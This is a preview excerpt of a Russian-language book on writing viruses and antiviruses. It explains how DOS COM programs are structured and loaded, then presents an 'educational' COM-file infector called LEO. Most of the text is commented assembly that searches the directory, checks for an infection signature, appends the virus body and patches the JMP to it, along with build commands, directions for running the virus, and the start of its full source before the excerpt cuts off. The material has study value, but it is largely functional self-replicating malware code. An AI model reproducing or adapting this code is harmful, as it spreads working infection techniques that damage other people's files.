Ознакомительная версия.
Игорь Гульев
Создаем вирус и антивирус
Вряд ли стоит напоминать, что компьютеры стали настоящими помощниками человека и без них уже не может обойтись ни коммерческая фирма, ни государственная организация. Однако в связи с этим особенно обострилась проблема защиты информации.
Вирусы, получившие широкое распространение в компьютерной технике, взбудоражили весь мир. Многие пользователи компьютеров обеспокоены слухами о том, что с помощью компьютерных вирусов злоумышленники взламывают сети, грабят банки, крадут интеллектуальную собственность…
Все чаще в средствах массовой информации появляются сообщения о различного рода пиратских проделках компьютерных хулиганов, о появлении все более совершенных саморазмножающихся программ. Совсем недавно заражение вирусом текстовых файлов считалось абсурдом – сейчас этим уже никого не удивишь. Достаточно вспомнить появление «первой ласточки», наделавшей много шума – вируса WinWord.Concept, поражающего документы в формате текстового процессора Microsoft Word for Windows 6.0 и 7.0.
Хочется сразу заметить, что слишком уж бояться вирусов не стоит, особенно если компьютер приобретен совсем недавно, и много информации на жестком диске еще не накопилось. Вирус компьютер не взорвет. Ныне известен только один вирус (Win95.CIH), который способен испортить «железо» компьютера. Другие же могут лишь уничтожить информацию, не более того.
В литературе весьма настойчиво пропагандируется, что избавиться от вирусов можно лишь при помощи сложных (и дорогостоящих) антивирусных программ, и якобы только под их защитой вы можете чувствовать себя в полной безопасности. Это не совсем так – знакомство с особенностями строения и способами внедрения компьютерных вирусов поможет вовремя их обнаружить и локализовать, даже если под рукой не окажется подходящей антивирусной программы.
В этой главе рассказано об алгоритмах работы вирусов, заражающих COM-файлы, и способах их внедрения. Представлен исходный текст одного из таких вирусов с подробными комментариями. Также приведены основные сведения о структуре и принципах работы COM-программы.
Компьютерные вирусы могут «гнездиться» в самых неожиданных местах, например, в записи начальной загрузки MBR (master boot record), в исполняемых файлах типа COM и EXE, в файлах динамических библиотек DLL и даже в документах текстового процессора Microsoft Word for Windows. В этом разделе подробно рассматривается строение вируса, поражающего COM-файлы.
Структура и процесс загрузки COM-программы
Что же представляет собой COM-программа, как она загружается в память и запускается?
Структура COM-программы предельно проста – она содержит только код и данные программы, не имея даже заголовка. Размер COM-программы ограничен размером одного сегмента (64 Кбайт).
И еще два понятия, которые часто будут встречаться:
Program Segment Prefix (PSP) – область памяти размером 256 (0100h) байт, предшествующая программе при ее загрузке. PSP содержит данные командной строки и относящиеся к программе переменные.
Disk Transfer Address (DTA) – блок данных, содержащий адреса обмена данными с файлом (чтение или запись). Область DTA для работы с файлом используют многие функции, в том числе и не производящие чтение или запись в файл. Примером может служить функция 4Eh (найти первый файл по шаблону), которая будет неоднократно встречаться в листингах программ.
Загрузка COM-программы в память и ее запуск происходят так:
1. Определяется сегментный адрес свободного участка памяти достаточного для размещения программы размера.
2. Создается и заполняется блок памяти для переменных среды.
3. Создается блок памяти для PSP и программы (сегмент:0000Ь – PSP; сегмент:0100Ь – программа). В поля PSP заносятся соответствующие значения.
4. Устанавливается адрес DTA равным PSP:0080h.
5. Загружается COM-файл с адреса PSP:0100h.
6. Значение регистра AX устанавливается в соответствии с параметрами командной строки.
7. Регистры DS, ES и SS устанавливаются на сегмент PSP и программы (PSP:0000h).
8. Регистр SP устанавливается на конец сегмента, после чего в стек записывается 0000h.
9. Происходит запуск программы с адреса PSP:0100h.
COM-программа всегда состоит из одного сегмента и запускается со смещения 0100h.
В начале COM-файла обычно находится команда безусловного перехода JMP, состоящая из трех байт. Первый байт содержит код команды 0E9h, следующие два – адрес перехода. Поскольку рассматриваемый ниже вирус учебный, он будет заражать только COM-файлы, начинающиеся с команды JMP. Благодаря простому строению COM-файла в него очень просто добавить тело вируса и затем указать его адрес в команде JMP. На рис. 1.1. показано заражение файла таким способом.
Рис. 1.1
После загрузки зараженного файла управление получает вирус. Закончив работу, вирус восстанавливает оригинальный JMP и передает управление программе, как показано на рис. 1.2.
Рис. 1.2
Что же делает рассматриваемый вирус? После старта он ищет в текущем каталоге COM-программы. Для этого используется функция 4Eh (найти первый файл):
;Ищем первый файл по шаблону имени
mov ah,4Eh
mov dx,offset fname – offset myself
add dx,bp
mov cx,00100111b
int 21h
Затем вирус проверяет (по первому байту файла), подходят ли ему найденные COM-программы:
;Открываем файл
Open:
mov ax,3D02h
mov dx,9Eh
int 21h
;Если при открытии файла ошибок не произошло,
;переходим к чтению, иначе выходим из вируса
jnc See_Him
jmp exit
;Читаем первый байт файла
See_Him:
xchg bx,ax
mov ah,3Fh
mov dx,offset buf–offset myself
add dx,bp
xor cx,cx ;CX=0
inc cx ;(увеличение на 1) CX=1
int 21h
;Сравниваем. Если первый байт файла
;не E9h, то переходим к поиску следующего
;файла – этот для заражения не подходит
cmp byte ptr [bp+(offset buf–offset myself)],0E9h
jne find_next
Перед заражением файла вирус проверяет сигнатуру – не исключено, что файл уже заражен:
;Переходим в конец файла (на последний байт)
mov ax,4200h
xor cx,cx
mov dx,[bp+(offset flen−offset MySelf)]
dec dx
int 21h
;Читаем сигнатуру вируса
Read:
mov ah,3Fh
xor cx,cx
inc cx
mov dx,offset bytik–offset myself
add dx,bp
int 21h
;Если при чтении файла ошибок не произошло,
;проверяем сигнатуру,
;иначе ищем следующий файл
jnc test_bytik
jmp find_next
;Проверяем сигнатуру
Test_bytik:
cmp byte ptr [bp+(offset bytik−offset myself)],CheckByte
;Если сигнатура есть, то ищем другой файл,
;если ее нет – будем заражать
je find_next2
jmp Not_infected
Затем, в соответствии с предложенной схемой, вирус дописывается в конец файла-жертвы и устанавливает адрес перехода на самого себя:
;Переходим в конец файла
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
;Устанавливаем регистр DS на сегмент кода
push cs
pop ds
;Копируем вирус в файл
mov ah,40h
mov cx,offset VirEnd–offset la
mov dx,bp
sub dx,offset myself−offset la
int 21h
;Записываем в начало файла переход на тело вируса
Write_Jmp:
;Переходим в начало файла
xor cx,cx
xor dx,dx
mov ax,4200h
int 21h
;Записываем первые три байта файла (переход на тело вируса)
mov ah,40h
mov cx,3
mov dx,offset jmpvir–offset myself
add dx,bp
int 21h
После того, как вирус закончит свою работу, он восстанавливает в исходное состояние первые три байта программы (в памяти компьютера) и передает управление на начало программы. Далее, при запуске зараженного файла, управление сначала получает вирус, затем – исходная программа. Благодаря такой схеме работы рассматриваемый вирус может спокойно существовать, будучи один раз выпущенным на волю. Как запустить вирус? В любом текстовом редакторе создается файл LEO.ASM, содержащий исходный текст вируса, затем этот файл компилируется и компонуется готовая программа. Например, в системе программирования Turbo Assembler последние два этапа выполняются такими командами:
tasm.exe leo.asm tlink leo.obj/t
В итоге получился файл LEO.COM, содержащий готовый COM-вирус. Для проверки работы вируса можно создать отдельный каталог и скопировать в него этот файл, а также несколько других COM-файлов. После запуска LEO.COM вирус внедрится во все остальные COM-файлы. Не стоит бояться, что будет заражен сразу весь компьютер – вирус распространяется только в текущем каталоге. Ниже приводится исходный текст вируса:
.286 ;Устанавливаем тип процессора
CheckByte equ 0F0h
;Указываем, что регистры CS и DS содержат
;адрес сегмента кода программы
assume cs:code, ds:code
;Начало сегмента кода. В конце программы сегмент кода нужно
;закрыть – ”code ends”
code segment
;Устанавливаем смещения в сегменте кода.
;Данная строчка обязательна
;для COM−программы (все COM−программы
;начинаются с адреса 100h)
org 100h
start:
;Имитируем зараженный COM−файл.
;Тело вируса начинается с метки la
; jmp la
db 0E9h ;Код команды JMP
dw offset la–offset real
real:
;Выходим из программы
mov ah,4Ch
int 21h
;Здесь начинается тело вируса
la:
;Сохраняем регистры и флаги
pushf
pusha
push ds es
;Получаем точку входа.
;Для этого вызываем подпрограмму (следующий
;за вызовом адрес) и читаем из стека адрес возврата
Ознакомительная версия.